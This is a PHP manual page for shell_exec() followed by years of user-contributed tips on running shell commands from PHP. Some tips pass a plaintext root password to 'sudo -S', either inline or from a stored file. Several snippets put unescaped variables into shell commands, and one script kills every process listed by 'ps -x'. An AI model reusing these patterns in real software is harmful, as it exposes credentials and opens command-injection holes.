Until proc_terminate() gets fixed, I would not recommend using it. Instead, my solution is to:
1) call proc_get_status() to get the parent pid (ppid) of the process I want to kill.
2) use ps to get all pids that have that ppid as their parent pid
3) use posix_kill() to send the SIGKILL (9) signal to each of those child pids
4) call proc_close() on process resource

<?php
$descriptorspec = array(
0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
2 => array('pipe', 'w')   // stderr is a pipe the child will write to
);
$process = proc_open('bad_program', $descriptorspec, $pipes);
if(!is_resource($process)) {
    throw new Exception('bad_program could not be started.');
}
//pass some input to the program
fwrite($pipes[0], $lots_of_data);
//close stdin. By closing stdin, the program should exit
//after it finishes processing the input
fclose($pipes[0]);

//do some other stuff ... the process will probably still be running
//if we check on it right away

$status = proc_get_status($process);
if($status['running'] == true) { //process ran too long, kill it
    //close all pipes that are still open
    fclose($pipes[1]); //stdout
    fclose($pipes[2]); //stderr
    //get the parent pid of the process we want to kill
    $ppid = $status['pid'];
    //use ps to get all the children of this process, and kill them
    $pids = preg_split('/\s+/', `ps -o pid --no-heading --ppid $ppid`);
    foreach($pids as $pid) {
        if(is_numeric($pid)) {
            echo "Killing $pid\n";
            posix_kill($pid, 9); //9 is the SIGKILL signal
        }
    }

    proc_close($process);
}

?>
proc_open
shell_exec
Program execution Functions


Execute command via shell and return the complete output as a string

proc_terminate
system
Program execution Functions
PHP Manual

shell_exec

(PHP 4, PHP 5)

shell_exec — Execute command via shell and return the complete output as a string

Description

string shell_exec ( string $cmd )

This function is identical to the backtick operator.

Parameters

cmd

The command that will be executed.

Return Values

The output from the executed command or NULL if an error occurred.

Examples

Example #1 A shell_exec() example

<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>

Notes

Note:

This function is disabled when PHP is running in safe mode.

See Also

  • exec() - Execute an external program
  • escapeshellcmd() - Escape shell metacharacters

User Contributed Notes

trev at dedicate.co.uk 21-Oct-2011 07:34
If you're trying to run a command such as "gunzip -t" in shell_exec and getting an empty result, you might need to add 2>&1 to the end of the command, eg:

Won't always work:
echo shell_exec("gunzip -c -t $path_to_backup_file");

Should work:
echo shell_exec("gunzip -c -t $path_to_backup_file 2>&1");

In the above example, a line break at the beginning of the gunzip output seemed to prevent shell_exec printing anything else. Hope this saves someone else an hour or two.
ilya at linemedia dot ru 16-Dec-2010 08:36
sudo can be executed without storing pass in a file

system('echo "PASS" | sudo -u root -S COMMAND');
fabjoa dot mwoz at gmail dot com 01-Nov-2010 04:02
I don't know how it goes in Windows, but in Linux, shell returns result with a line break at the end, I guess to make it more readable in shell, so don't forget to use trim() to encapsulate the returned result!

if(trim(shell_exec('whoami'))!='www-data')
nowayoutlive.de 26-Feb-2010 01:59
Today I needed a piece of code, which makes use of the shell_exec function. For those who want to scan 2 letter domains too, here is a nice linux and php5 way, using a character generator class.

<?php
define("__USED_CHARS__", "abcdefghijklmnopqrstuvwxyz0123456789");
define("__CASE_SENSITIVE__", true); // Use string above or use uppercase / lowercase variant

$bf = new chargen(2); // new chargen object, length 2
$bf->generate("whois"); // generate chars and call whois function

function whois($str)
{
        $domain = $str.".com";

        $retval = shell_exec("whois $domain");

        if (eregi("no match", $retval))
                echo $domain." ist available\n";
        else
                echo $domain." is unavailable\n";
}

class chargen
{
        private $chars = NULL;
        private $maxlength = NULL;

        protected $buffer = NULL;

        function generate($mycallback = false)
        {
                foreach ($this->buffer as $char)
                {
                        foreach ($this->chars as $nextchar)
                        {
                                $retval = $char.$nextchar;
                                $this->buffer[$retval] = $retval;

                                if ($mycallback && function_exists($mycallback))
                                        $mycallback($retval);
                                else
                                        echo $retval."\n";
                        }
                }

                if (strlen($retval) == $this->maxlength)
                        return;

                $this->generate($mycallback);
        }

        function __construct($maxlength = 8)
        {
                $chars = array();

                $this->buffer = array();
                array_push($this->buffer, "");

                for ($i = 0; $i < strlen(__USED_CHARS__); $i++)
                {
                        $index = substr(__USED_CHARS__, $i, 1);

                        if (__CASE_SENSITIVE__)
                        {
                                $this->chars[$index] = $index;
                        }
                        else
                        {
                                $this->chars[strtolower($index)] = strtolower($index);
                                $this->chars[strtoupper($index)] = strtoupper($index);
                        }
                }

                $this->maxlength = $maxlength;
        }
}
?>
martin at intelli-gens dot com 17-Feb-2010 03:21
Also after lots of hair pulling why shell_exec didn't want to work for me I found out that in my case some things needed to be set (which normally are set by default).

the options -jo
-j means: don't recreate the paths found in the archive
-o means: always overwrite files

And I needed to specify the destination path (even though it should unzip in the same directory when not specified), this is done by -d [path]

The strange thing was that I didn't have to put these options when I would give the command on the command-line, only when I would call it with shell_exec.

So the complete command in php would be for me:

shell_exec('unzip -jo /path_to_archive/archive.zip  -d /destination_path')

And putting en echo in front will help you a lot.
it should tell you something like this:

Archive:  /path_to_zip/archive.zip
  inflating: /destination_path/file1.jpeg
  inflating: /destination_path/file2.jpeg
  inflating: /destination_path/file3.jpeg
codeslinger at compsalot dot com 13-Jan-2010 06:47
it took me a heck of a lot of head banging to finally solve this problem so I thought that I would mention it here.

If you are using Eclipse and you try to do something like

<?php

    $out = shell_exec("php -s $File");   //this fails
?>

it will always fail when run inside of the Eclipse debugger.  This happens on both Linux and Windows.  I finally isolated the problem to changes that Eclipse makes to the environment when debugging.

The fix is to force the ini setting.  If you don't need an ini then -n is sufficient.

<?php

    $out = shell_exec("php -n -s $File");   //this works
?>

Of course if you run it outside of the debugger then it works fine without the -n.   You may want to use a debug flag to control this behavior.
joelhy 08-Apr-2009 06:29
Here is a easy way to grab STDERR and discard STDOUT:
    add  '2>&1 1> /dev/null' to the end of your shell command

For example:
<?php
$output = shell_exec('ls file_not_exist 2>&1 1> /dev/null');
?>
dburles@NOSPAMgmailDOTcom 01-Feb-2009 03:07
Easy way to capture error output in windows

// we'll execute a php script as an example:
$out = shell_exec("php test.php 2> output");
print $out ? $out : join("", file("output"));

We assume in this case if the script produces output it has ran ok, the $out variable will then contain the output, if $out is empty then we read the captured error output from a file simply called 'output'.

Hope this helps someone
zd 16-Jan-2009 10:29
It's probably worth noting that shell_exec() return value seems binary safe, while the output array from exec() is not.

In either case, a more controlled way to launch and interact with a process is proc_open() which allows you to have streams and is also binary safe.
Rgemini 07-Jan-2009 03:46
A simple way to handle the problem of capturing stderr output when using shell-exec under windows is to call ob_start() before the command and ob_end_clean() afterwards, like this:

<?php
ob_start()
$dir = shell_exec('dir B:');
if is_null($dir)
{   // B: does not exist
    // do whatever you want with the stderr output here
}
else
{  // B: exists and $dir holds the directory listing
   // do whatever you want with it here
}
ob_end_clean();   // get rid of the evidence :-)
?>

If B: does not exist then $dir will be Null and the output buffer will have captured the message:

  'The system cannot find the path specified'.

(under WinXP, at least). If B: exists then $dir will contain the directory listing and we probably don't care about the output buffer. In any case it needs to be deleted before proceeding.
dae3 22-Dec-2008 02:53
Beware of the following inconsistency: shell_exec() and the backtick operator will not return a string if the command's output is empty -- they'll return NULL instead.

This will make strict comparisons to '' return false.
redtuugii at yahoo dot com 12-Nov-2008 03:30
if you want get exit status

<?php
$command = 'ls -lpas';
// Execute the shell command
$shellOutput = shell_exec($command.' > /dev/null; echo $?');

//return execute status;
echo trim($shellOutput);
?>
sa577 at gre dot ac dot uk 14-Aug-2008 04:59
The problem described by 'concept at conceptonline dot hu' was mine too (writing the output on the Apache error log instead of returning it). But I think the cause explanation is misleading: it is not due to running script in a different path. The clue for this behaviour as Apache documentation mention is:

"A very wide variety of different messages can appear in the error log. Most look similar to the example above. The error log will also contain debugging output from CGI scripts. Any information written to <i>stderr</i> by a CGI script will be copied directly to the error log." (http://httpd.apache.org/docs/1.3/logs.html#errorlog)

So the most probable cause for this problem is a running script which tends to write its output on stderr instead of stdout. You cannot even capture it by piping (e.g. [command]>[output] syntax of unix).
The smart trick to get rid of this situation (that can become a serious one as I experienced) is one suggested by Anatol Pomozov in his currently non-accessible weblog (I saw his post on archive.com!):
You should add after your command these characters within the qoutation mark:
" 2>&1"
I guess it forces OS to copy stderr on stdout.
sebastianstenzel AT googlemail DOT com 14-Aug-2008 06:06
I had some problems with the charset encoding. German chars like ö or ü have been transformed to some strange code.
This can be resolved by exporting the LANG environment variable (on unix-like systems) before performing the command.

Example:

<?php
shell_exec('LANG=en_US.utf-8; somecommand -foo');
?>
sebastianstenzel at googlemail dot com 14-Aug-2008 06:06
I had some problems with the charset encoding. German chars like ö or ü have been transformed to some strange code.
This can be resolved by exporting the LANG environment variable (on unix-like systems) before performing the command.

Example:

<?php
shell_exec('LANG=en_US.utf-8; somecommand -foo');
?>
ben at thelocust dot org 08-Aug-2008 10:59
For those running PHP on IIS under a 64-bit system, but running IIS in 32-bit mode, you will need to grant the IUSR_<machinename> user Read & Execute / Read permissions not on the C:\WINDOWS\SYSTEM32\cmd.exe file, but instead on the C:\WINDOWS\SysWOW64\cmd.exe - which is the 32-bit version of the command prompt.
saivert at saivert dot com 12-May-2008 08:48
How to get the volume label of a drive on Windows

<?php

function GetVolumeLabel($drive) {
  // Try to grab the volume name
  if (preg_match('#Volume in drive [a-zA-Z]* is (.*)\n#i', shell_exec('dir '.$drive.':'), $m)) {
    $volname = ' ('.$m[1].')';
  } else {
    $volname = '';
  }
return $volname;
}

print GetVolumeLabel("c");

?>

Note: The regular expression assumes a english version of Windows is in use. modify it accordingly for a different localized copy of Windows.
Anonymous 08-Apr-2008 08:35
In response to nathandehert and Paul Cook, rather than sudoing to execute a command, you might want to abstract the command(s) into a yet another script (php, perl, bash, whatever) and make use of the setuid bit.  then just execute that script from php.  of course, bear in mind the security implications of setuid.
gabekon at gmail dot com 03-Apr-2008 08:33
RE: kamermans note,

I was having a similar problem with the PATH variable when using shell_exec. Even with a hard-coded full path to a binary, I also got an error about a .so file that could not be found. After some reading up, I realized I had to set the LD_LIBRARY_PATH variable:

<?php

$command = 'export LD_LIBRARY_PATH="' . $path_to_library_dir .'"; ' . $path_to_binary;
shell_exec($command);

?>

Hope this saves someone a headache,

- G
guenter at grodotzki dot ph 16-Jan-2008 08:07
If the return is empty, then command could not be executed or executed command returned an error.
mandor at mandor dot net 19-Nov-2007 02:02
Even when external program returns an ISO-8859-1 encoded string, PHP "parses" the encoded string as ASCII, expanding accented characters as their literal string form and not their binary form.
Basically, this mangles every accented character of the output from Windows external program.

Below is how I fixed it for french accented characters:

<?php

    echo shell_exec('echo éêèëàâäîïùûüôöç');
    // The output of this will be something like: ‚ˆŠ‰…ƒ„Œ‹—–“”‡
    // Not quite what was expected...

    // This is the function that fixes accented characters.
    function fix_string($str) {
        return strtr($str,
            chr(130).chr(136).chr(138).chr(137).
            chr(133).chr(131).chr(132).chr(140).
            chr(139).chr(151).chr(150).chr(129).
            chr(147).chr(148).chr(135),
            chr(233).chr(234).chr(232).chr(235).
            chr(224).chr(226).chr(228).chr(238).
            chr(239).chr(249).chr(251).chr(252).
            chr(244).chr(246).chr(231)
        );
    }

    echo fix_string(shell_exec('echo éêèëàâäîïùûüôöç'));
    // We now get a proper output!

?>
RoBorg 08-Nov-2007 07:45
The Subversion error "svn: Can't recode string" can be caused by the locale being wrong.  Try
<?php
putenv('LANG=en_US.UTF-8');
?>
(or whatever your preferred locale is) before you call shell_exec()
kamermans at teratechnologies dot net 15-Oct-2007 08:01
I'm not sure what shell you are going to get with this function, but you can find out like this:

<?php
$cmd = 'set';
echo "<pre>".shell_exec($cmd)."</pre>";
?>

On my FreeBSD 6.1 box I get this:

USER=root
LD_LIBRARY_PATH=/usr/local/lib/apache2:
HOME=/root
PS1='$ '
OPTIND=1
PS2='> '
LOGNAME=root
PPID=88057
PATH=/etc:/bin:/sbin:/usr/bin:/usr/sbin
SHELL=/bin/sh
IFS='
'

Very interesting.  Note that the PATH may not be as complete as you need.  I wanted to run Ghostscript via ImageMagik's "convert" and ended up having to add my path before running the command:

<?php
$cmd = 'export PATH="/usr/local/bin/"; convert -scale 25%x25% file1.pdf[0] file2.png 2>&1';
echo "<pre>".shell_exec($cmd)."</pre>";
?>

ALSO, note that shell_exec() does not grab STDERR, so use "2>&1" to redirect it to STDOUT and catch it.
eric dot peyremorte at iut-valence dot fr 05-Oct-2007 02:01
I had trouble with accented caracters and shell_exec.

ex :

Executing this command from shell :

/usr/bin/smbclient '//BREZEME/peyremor' -c 'dir' -U 'peyremor%*********' -d 0 -W 'ADMINISTRATIF' -O 'TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=8192 SO_SNDBUF=8192' -b 1200 -N 2>&1

gave me that :

Vidéos                             D        0  Tue Jun 12 14:41:21 2007
  Desktop                            DH        0  Mon Jun 18 17:41:36 2007

Using php like that :

shell_exec("/usr/bin/smbclient '//BREZEME/peyremor' -c 'dir' -U 'peyremor%*******' -d 0 -W 'ADMINISTRATIF' -O 'TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=8192 SO_SNDBUF=8192' -b 1200 -N 2>&1")

gave me that :

  Vid  Desktop                            DH        0  Mon Jun 18 17:41:36 2007

The two lines were concatenated from the place where the accent was.

I found the solution : php execute by default the command with LOCALE=C.

I just added the following lines before shell_exec and the problem was solved :

$locale = 'fr_FR.UTF-8';
setlocale(LC_ALL, $locale);
putenv('LC_ALL='.$locale);

Just adapt it to your language locale.
Woody/mC 12-Jul-2007 07:07
regarding the "ping" test that was mentioned by andy25it at hotmail dot it:

this might not work if the target server is behind a firewall which drops icmp packets. a better approach would be the use of fsockopen(), which doesn't use icmp. in the notes section of the function list, Alexander Wegener wrote a nice implementation of an isOnline() function which works with both http and https.
d-skyman at gmx dot de 08-Apr-2007 10:43
Got it! That was a "how does the windows scripting host work" problem.
Here's the answer:
<?php
$runCommand = "C:\\WINDOWS\\system32\\shutdown.exe -t:30"; //Wrong by purpuse to get some good output
$WshShell = new COM("WScript.Shell");
$output = $WshShell->Exec($runCommand)->StdOut->ReadAll;
echo "<p>$output</p>";
?>
RayJ 25-Feb-2007 09:07
After many failed attempts to find a way to run a php script in the background (the script had to be activated from a web browser). Since I create and test my scripts on a windows box, I need an automatic way to detect if the script was running on windows or the Linux server. The activated script will continue to run even if you close your browser.

<?php
  $runCommand = 'php -q FULLPATH/FILE.php';

  if(isset($_SERVER['PWD'])//*nix (aka NOT windows)
  {
    $nullResult = `$runCommand > /dev/null &`;
  }
  else //windowz
  {
    $WshShell = new COM("WScript.Shell");
    $oExec = $WshShell->Run($runCommand, 7, false);
  }
?>

Also, to get the correct "basepath" from the script that runs in the background. try:

<?php
  ignore_user_abort(true);
  set_time_limit(0);

  if(isset($_SERVER['PWD']))
  { $basepath = $_SERVER['PWD']; }
  else
  { $basepath = ereg_replace('[^/]*$', '', $_SERVER['PHP_SELF']); }

  $extendedpath = '/path1/path2/';
  $basepath = preg_replace("|(?:{$extendedpath})$|i",'',$basepath);

  echo 'Start In: '.$basepath;
?>

Enjoy!

Later, RayJ
arturm at union dot com dot pl 29-Oct-2006 02:28
If someone has problems with IIS6 and CGI error message "The specified CGI application misbehaved by not returning a complete set of HTTP headers.", simply make sure that headers are already sent:
echo "<head>";
flush();
$result = shell_exec('C:\util\myprog.exe');
kees dot schepers at infolook dot nl 12-Oct-2006 05:27
If you are using a Windows server with IIS, and you try to execture a batch file with shell_exec() function, or his related functions you should do it like this:

<?
shell_exec("C:\\path\\to\\cmd.exe /c C:\\batchfile.cmd");
?>

Note the parameter /c which says "Carries out the ommand specified by string and then terminates"

If you don't add the parameter /c the batch file will not be executed, only the cmd.exe file will.

As, also mentiod in these commants, put your cmd.exe file in your php folder, and your windows folder for security reasons.
Paul Cook 16-Sep-2006 11:00
The technique mentioned by Nathan De Hert below is rather insecure -- you should never leave a password lying around in a file readable by the apache user.

If you need this sort of functionality on *nix systems, have a look at the /etc/sudo file (edited with the command 'visudo'). The tag NOPASSWD allows specified commands to be run as root by another user, without needing to specify a password. It's a little extra configuration, but much more secure.
ruan at nospam dot tillcor dot com 24-Aug-2006 08:31
When following Kenneth's method for executing root scripts via the nanoweb server mentioned on this page you would most likely need to be able to run a text-mode browser like lynx and pass the php script to it (works great).

After struggling for a while (lynx kept asking me to download the file instead of executing it), I realised that I had to install php-cgi additionally and modify the nanoweb config file  to use that php interpreter instead of /usr/bin/php. (On Debian this is the CLI version).

On Ubuntu 6.06:

apt-get install php5-cgi

After editing /etc/nanoweb/nanoweb.conf and a quick restart of the web server, lynx and links will execute your PHP scripts properly.

Hope this helps somebody else out there :)

Ruan Fourie
nathandehert at no spam gmail dot com 07-Aug-2006 01:29
If you want to execute shell commands as root theres another workaround.

<?php
shell_exec('sudo -u root -S command_goes_here < /home/$User/dir/dir/dir/passfile');
?>

It will readout the file 'passfile' that you've hidden under quite some dirs (to make it a bit less insecure) and use the content as password to login as root.

Note that storing your root password is far from secure but it's an easy way to execute commands under root in controlled environments.

Nathan De Hert
Kishan 04-Aug-2006 10:27
If you are on windows and has Cygwin, You can execute all your Cygwin binaries using shell_exec() as follows:

<?
$result = shell_exec("C:\cygwin\bin\bash.exe --login  -c '/cygdrive/c/cygwin/bin/convert.exe --version'");
print($result);
?>

The key is the "--login"  option which appends all the required common cygwin binary and library paths to $PATH. Without this option some of the cygwin binaries that links to other libraries ( Like ImageMagick binaries which links to X11 ) will not work and you may see errors like "cygX11-6.dll not found, Could not start convert.exe"
doo_mangle_fus at by_mangle_u dizzot net 02-Aug-2006 12:00
If you're on a host that provides neither shell access nor a way to unzip uploaded archives, you can use PHP to call the unzip utility with shell_exec() (provided they're not also running in safe mode). Just make sure that PHP has write permission to the destination directory, or it won't work.

Here's an example script that accomplishes this, which you're free to use if you so chose:

<?php
$passwd = 'censored';
$filename = 'archive.zip';
$options = '-o';  //Overwrite existing files by default; this is mostly to suppress confirmations
$destDir = '';

if (isset ($_POST['password']))  {
    if ($_POST['password'] == $passwd)  {
        if (isset ($_POST['filename']))  { $filename = escapeshellarg ($_POST['filename']); }
        if (isset ($_POST['updateExisting']))  { $options .= "u"; }  //use with care, since a timezone mismatch may occur; see man unzip
        if (isset ($_POST['destDir']))  { $destDir = ' -d '. escapeshellarg ($_POST['destDir']); }

        echo "<pre>";
        echo shell_exec ("unzip $options {$filename}{$destDir}");
        echo "</pre>";
    }
    else  {
        outputPage ("Your password didn't check out, mon. Better try it again, eh?");
    }
}
else  { outputPage(); }

function outputPage ($errorMessage = '')  {
    echo <<<HTML
        <html><head><title>Unzip password verification</title>
            <style type="text/css">
                td.left  { text-align: right; }
                td.right { text-align: left; }

                div  { color: red; border: 1px solid gray; padding: 4px; }
            </style>
        </head>
        <body>
HTML;

    if (!empty ($errorMessage))  { echo "\n<div>$errorMessage</div>\n"; }

    echo <<<HTMLL
        <h1>Super Duper File Unzipper</h1>
        <form name="zipform" method="post" action="unzipper.php">
            <table>
                <tr>
                    <td class="left">Filename:</td>
                    <td class="right"><input type="text" name="filename" size="50" maxlength="255" /></td>
                </tr><tr>
                    <td class="left">Destination Directory:</td>
                    <td class="right"><input type="text" name="destdir" size="50" maxlength="1000" /></td>
                </tr><tr>
                    <td class="left">Password:</td>
                    <td class="right"><input type="password" name="password" size="15" maxlength="30" /></td>
                <tr>
                    <td colspan="2"><input type="checkbox" name="updateExisting" />Update existing files</td>
                </tr><tr>
                    <td class="right"><input type="reset" value="Reset" /></td>
                    <td class="left"><input type="submit" value="Unzip it!" /></td>
                </tr>
            </table>

        </form>
        </body>
        </html>
HTMLL;
}
?>
rustleb at hotmail dot com 05-Jun-2006 01:45
For capturing stdout and stderr, when you don't care about the intermediate files, I've had better results with . . .
<?php
function cmd_exec($cmd, &$stdout, &$stderr)
{
    $outfile = tempnam(".", "cmd");
    $errfile = tempnam(".", "cmd");
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("file", $outfile, "w"),
        2 => array("file", $errfile, "w")
    );
    $proc = proc_open($cmd, $descriptorspec, $pipes);

    if (!is_resource($proc)) return 255;

    fclose($pipes[0]);    //Don't really want to give any input

    $exit = proc_close($proc);
    $stdout = file($outfile);
    $stderr = file($errfile);

    unlink($outfile);
    unlink($errfile);
    return $exit;
}
?>

This isn't much different than a redirection, except it takes care of the temp files for you (you may need to change the directory from ".") and it blocks automatically due to the proc_close call.  This mimics the shell_exec behavior, plus gets you stderr.
squeegee 04-May-2006 10:36
Each time you call shell_exec, it operates in a completely new shell. So if you need to do different multiple things in it based on whatever criteria, assemble your command ahead of time:

instead of

<?php
shell_exec("cd $path_to_dir");
shell_exec("ls -l");
?>

which, as you noted, won't work, do

<?php
$cmd = "cd $path_to_dir; ";
if($a == true)$cmd .= "ls -l";
else $cmd .= "du -h";
$result = shell_exec($cmd);
?>
notmespammers-iain at iaindooley dot com 19-Feb-2006 03:38
beware!

shell_exec('cd /path/to/dir');
shell_exec('ls -l');

will not give a listing of /path/to/dir!! use chdir() if you need to change directories, or group your commands with && (not always convenient/possible)

cheers

iain
rigsbr at yahoo dot com dot br 16-Feb-2006 06:24
If you need to execute a command without permission and could not execute it by ssh or install any extension, there is a way in Apache 1.3.x and PHP 4.
Create a file on cgi-bin directory, like this:

#!/usr/bin/php
<?
  echo shell_exec('whoami');
?>

Don't forget to set the file you created the permission to execute it. Hence, call it from browser and you will se that this script will be executed by the shell user and not the user nobody (apache default user if running a PHP script).
andy25it at hotmail dot it 02-Jan-2006 09:06
As a webmaster i often deal with other servers with respect to the one that hosts my own site.
I actually had to face the following problem: some web pages depend directly from other webservers for example including a IMG SRC tag pointing to a remote image; but what if the remote server is temporary down? The download of the page remains in an incomplete state. It'd be better an error message for sure ! But how can i know whether the remote server is up or down? PING IT  is the answer..but how can i use a shell system function that outputs only text into some PHP scripting?..here the solution:

<?php

/*
the host whose service status has to be checked out
*/
$host_to_ping = "www.somehost.net" ;

/*
I ping twice the host (a higher number of ping would only result the execute script time to be MUCH high).
The result of the output ping command is stored into a variable. This can be done beacuse of the properties and features of the shell_exec() function, see above to know more.
*/
$outputShell = shell_exec("ping -c2 -w2 $host_to_ping") ;

/*
Now the only thing i have to do is to look up the '0 received' string into the output to know whether the server is down or up.
*/

if(strpos($outputShell, '0 received')) {

   #SERVER is DOWN so i include an error message

}
else {

   #SERVER is UP so i include the normal code that is meant to be included by default

}

?>

I used the shell_exec() function for 2 reasons:

1) the system() function is disabled in my webserver by the hosting company for security reasons

2) the shell_exec() function returns a string containing the output of the shell command.

Regards to the community. Hope to have given a hand.

Andrea from Italy
Ashraf Kaabi 19-Dec-2005 10:06
I've write a Full Class for Run in Background, Kill PID , check if is Running

<?php
/**
 * @author     Ashraf M Kaabi
 * @name       Advance Linux Exec
 */
class exec {
    /**
     * Run Application in background
     *
     * @param     unknown_type $Command
     * @param     unknown_type $Priority
     * @return     PID
     */
    function background($Command, $Priority = 0){
       if($Priority)
           $PID = shell_exec("nohup nice -n $Priority $Command > /dev/null & echo $!");
       else
           $PID = shell_exec("nohup $Command > /dev/null & echo $!");
       return($PID);
   }
   /**
    * Check if the Application running !
    *
    * @param     unknown_type $PID
    * @return     boolen
    */
   function is_running($PID){
       exec("ps $PID", $ProcessState);
       return(count($ProcessState) >= 2);
   }
   /**
    * Kill Application PID
    *
    * @param  unknown_type $PID
    * @return boolen
    */
   function kill($PID){
       if(exec::is_running($PID)){
           exec("kill -KILL $PID");
           return true;
       }else return false;
   }
};
?>
php [AT] jsomers [DOT] be 27-Sep-2005 06:00
<?php

/**
 * PHP Kill Process
 *
 * Sometimes, it can happen a script keeps running when it shouldn't, and it
 * won't stop after we close the browser, or shutdown the computer. Because it's
 * not always easy to use SSH there's a workaround.
 *
 * @author      Jensen Somers <php@jsomers.be>
 * @version     1.0
 */

class KillAllProcesses {
    /**
     * Construct the class
     */
    function killallprocesses() {
        $this->listItems();
    }

    /**
     * List all the items
     */
    function listItems() {
        /*
         * PS   Unix command to report process status
         * -x   Select processes without controlling ttys
         *
         * Output will look like:
         *      16479 pts/13   S      0:00 -bash
         *      21944 pts/13   R      0:00 ps -x
         *
         */
        $output =   shell_exec('ps -x');

        $this->output($output);

        // Put each individual line into an array
        $array  =   explode("\n", $output);

        $this->doKill($array);
    }

    /**
     * Print the process list
     * @param   string  $output
     */
    function output($output) {
        print   "<pre>".$output."</pre>";
    }

    /**
     * Kill all the processes
     * It should be possible to filter in this, but I won't do it now.
     * @param   array   $array
     */
    function doKill($array) {
        /*
         * Because the first line of our $output will look like
         *        PID TTY      STAT   TIME COMMAND
         * we'll skip this one.
         */
        for ($i = 1; $i < count($array); $i++) {
            $id =   substr($array[$i], 0, strpos($array[$i], ' ?'));
            shell_exec('kill '.$id);
        }
    }
}

new KillAllProcesses();

?>

It's not the very best solution, but I've used it a couple of times when I needed to do it quick without to much trouble.
Make not I kill all the processes, on my server px -x will only return like 4 times /sbin/apache and it's pretty safe to kill them without any trouble.
concept at conceptonline dot hu 19-Sep-2005 02:02
Interestingly, if you execute a script which is not in your path (or you have made a typo, or if the script does no exist at all), you will get no return value. The error will be logged into the error_log of your webserver.

Someone could add a note how this can be (if it could be) overriden, as the standard behaviour is not really fool-proof.
ludvig dot ericson at gmail dot com 01-Sep-2005 11:50
(if you have any other way of doing this PLEASE send me a mail)
(The following note is interesting to *NIX administrators ONLY)
Jailing a PHP CLI session is not the easiest thing to do.

PHP has a gigantic list of dependencies, you can check it by
ldd `which php`
Each of these .so files (shared libraries) can have dependencies, and can depend on each other, making the list much bigger.
However, there are tools out there to copy all dependencies into a jailed directory, you just have to search for them - and I had no luck.

What I did was just to run these few commands:
su
mkdir /jailpath && mkdir /jailpath/lib
cp /lib/*.so* /jailpath/lib/
mkdir /jailpath/usr && mkdir /jailpath/usr/bin && mkdir /jailpath/usr/lib
cp /usr/lib/*.so* /jailpath/usr/lib
cp `which php` /jailpath/usr/bin
chmod -R 0755 /jailpath && chown -R root:root /jailpath && chmod 0000 /jailpath

Do note that this copies _all_ of your shared objects. There is one or two more libraries you have top copy, but chroot will tell you about which one it is.

Hope this helped somehow.
jesuse dot gonzalez at venalum dot com dot ve 15-Jul-2005 04:34
Here is an example of how you can execute a command in background an get the Process ID created by *NIX, for future reference or monitoring.

<?php
    //Run linux command in background and return the PID created by the OS
    function run_in_background($Command, $Priority = 0)
    {
        if($Priority)
            $PID = shell_exec("nohup nice -n $Priority $Command > /dev/null & echo $!");
        else
            $PID = shell_exec("nohup $Command > /dev/null & echo $!");
        return($PID);
    }
?>

There is also a trick which  I use to track if the background task is running using the returned PID

<?php
    //Verifies if a process is running in linux
    function is_process_running($PID)
    {
        exec("ps $PID", $ProcessState);
        return(count($ProcessState) >= 2);
    }
?>

I commonly use both functions in combination to batch copy big mysql tables in background and wait for the copy process to finish sending chunks to the client browser in the following way:

<?php
    $CopyTaskPid = run_in_background("mysql --user=backup_user --password=backup_user_password --execute='INSERT INTO `backup-db`.`table` SELECT * FROM `online-db`.`table`'", "+20");
    while(is_process_running($CopyTaskPid))
    {
        echo ".";
        ob_flush(); flush();
        sleep(2);
    }
?>
joanacosta at prodigy dot net dot mx 24-May-2005 05:25
Here is another good example of how to Create a File with some variables already defined by user, and creating a file with them. of course using shell_exec

<?php
$generatefile = shell_exec("echo '$thisFOLIO','$thisREPORTO','$thisRESOLVIO','$thisVISTOB'  > datosmanda.txt");
echo "<pre>$generatefile</pre>";
?>

Php Is Great.... cheers
dk at brightbyte dot de 13-May-2005 01:25
her's a function that is similar to shell_exec but captures both stdout and stderr. It's much more complicated than using 2>&1, but it's independent of the shell and should work on windows, too. It uses proc_open with stream_select and non-blocking streams to read stdout and stderr concurrently. It is not guarantied that the lines appear in the correct order or that they are not intermingeled - but it did not happened when I tested it. So, here goes:

<?php
    function runExternal($cmd,&$code) {
        $descriptorspec = array(
            0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
            1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
            2 => array("pipe", "w") // stderr is a file to write to
        );

        $pipes= array();
        $process = proc_open($cmd, $descriptorspec, $pipes);

        $output= "";

        if (!is_resource($process)) return false;

        #close child's input imidiately
        fclose($pipes[0]);

        stream_set_blocking($pipes[1],false);
        stream_set_blocking($pipes[2],false);

        $todo= array($pipes[1],$pipes[2]);

        while( true ) {
            $read= array();
            if( !feof($pipes[1]) ) $read[]= $pipes[1];
            if( !feof($pipes[2]) ) $read[]= $pipes[2];

            if (!$read) break;

            $ready= stream_select($read, $write=NULL, $ex= NULL, 2);

            if ($ready === false) {
                break; #should never happen - something died
            }

            foreach ($read as $r) {
                $s= fread($r,1024);
                $output.= $s;
            }
        }

        fclose($pipes[1]);
        fclose($pipes[2]);

        $code= proc_close($process);

        return $output;
    }
?>

here is how to use it:

<?php
$result= runExternal("ls -l some-file.txt",$code);

print "<pre>";
print $result;
print "</pre>\n";

print "<b>code: $code</b>\n";
?>

enjoy :-)
phillipberry at NOSPAM dot blisswebhosting dot com 11-Apr-2005 01:13
I found something odd.

If you run exec then straight after shell_exec the shell_exec will simply not run and will return NULL.

To get it to work i put a sleep(5) after the exec and now shell_exec works fine.
Kenneth 09-Mar-2005 09:19
Sometimes it's needed to be able to execute shell commands as root using PHP. For instance, restarting named after adding or changing zones, or adding new alliases for sendmail.

My approach is to run a server called Nanoweb, available from  http://nanoweb.si.kz/. It's a webserver written in PHP, and needs only the pcntl extension extra to operate. Nanoweb is configured to only listen for connections on localhost, port 81 for example. From my normal PHP scripts running inside Apache I simply call scripts in Nanoweb to get the messy 'root' tasks done. Much more secure and safer.

Hope this helps
03-Jan-2005 09:10
Be careful as to how you elevate privileges to your php script.  It's a good idea to use caution and planing.  It is easy to open up huge security holes.  Here are a couple of helpful hints I've gathered from experimentation and Unix documentation.

Things to think about:

1. If you are running php as an Apache module in Unix then every system command you run is run as user apache.  This just makes sense.. Unix won't allow privileges to be elevated in this manner.  If you need to run a system command with elevated privileges think through the problem carefully!

